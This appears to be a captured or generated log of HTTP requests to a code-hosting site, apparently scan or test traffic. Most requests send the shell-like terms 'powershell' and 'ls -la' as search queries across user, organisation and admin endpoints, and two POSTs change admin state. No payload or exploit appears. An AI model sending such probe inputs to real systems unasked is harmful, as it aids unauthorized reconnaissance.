{"method": "GET", "target": "/org/acme/teams/-/search?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/teams", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/code?path=&q=powershell&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/code", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/projects?state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/packages/generic/tools-cli/versions?q=powershell&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/generic/tools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=powershell&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/npm/@alice%2Ftools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=e75e81138febd1bb; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/tags?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/tags", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/milestones?state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/milestone/1?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/projects?state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/packages?q=powershell&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/issues/posters?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/pulls/posters?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/issues/search?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/issues/suggestions?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/actions/runners?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/user/settings/actions/runners?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/settings/actions/runners?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/settings/actions/runners?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/users?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/orgs?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/orgs", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/repos?q=powershell&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/repos/unadopted?search=true&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/emails?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/packages?q=powershell&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/admin/repos/unadopted", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 55", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted?search=true&q=powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "id=alice%2Flegacy-site&action=adopt&q=powershell&page=1"}
|
||||||
|
{"method": "POST", "target": "/admin/emails/activate", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 100", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails?q=powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "sort=email&q=powershell&is_primary=&is_activated=&uid=2&email=bob%40example.com&primary=1&activate=0"}
|
||||||
|
{"method": "GET", "target": "/explore/topics/search?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/pulls?type=created_by&sort=recentupdate&project=ZgotmplZ&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/issues/search?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=ls%20-la&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/user/search_candidates?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/notifications/watching?q=ls%20-la&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/notifications/watching", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/issues?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/pulls?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/teams/-/search?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/teams", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/code?path=&q=ls%20-la&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/code", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/projects?state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/packages/generic/tools-cli/versions?q=ls%20-la&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/generic/tools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=ls%20-la&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/npm/@alice%2Ftools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=e75e81138febd1bb; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/tags?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/tags", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/milestones?state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/milestone/1?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/projects?state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
